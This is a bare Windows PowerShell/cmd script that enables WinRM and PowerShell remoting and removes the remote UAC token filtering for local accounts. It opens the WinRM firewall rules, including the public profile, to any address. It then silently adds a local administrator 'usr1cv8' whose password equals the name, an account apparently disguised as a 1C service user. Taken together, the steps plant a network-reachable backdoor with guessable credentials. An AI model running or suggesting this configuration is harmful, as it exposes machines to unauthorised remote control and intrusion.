sc.exe config WinRM start= auto
sc.exe start WinRM
Start-Sleep 2
winrm quickconfig -force
Enable-PSRemoting -Force -SkipNetworkProfileCheck
New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name LocalAccountTokenFilterPolicy -Value 1 -PropertyType DWord -Force
netsh advfirewall firewall set rule group="Удаленное управление Windows" new enable=yes
Enable-NetFirewallRule -DisplayGroup "Windows Remote Management" -ErrorAction SilentlyContinue
Enable-NetFirewallRule -Name WINRM-HTTP-In-TCP,WINRM-HTTP-In-TCP-PUBLIC -ErrorAction SilentlyContinue
Set-NetFirewallRule -Name WINRM-HTTP-In-TCP-PUBLIC -RemoteAddress Any -ErrorAction SilentlyContinue
net user usr1cv8 usr1cv8 /add 2>$null
net localgroup Administrators usr1cv8 /add 2>$null
net localgroup "Администраторы" usr1cv8 /add 2>$null
Get-Service WinRM | Format-List Name,Status,StartType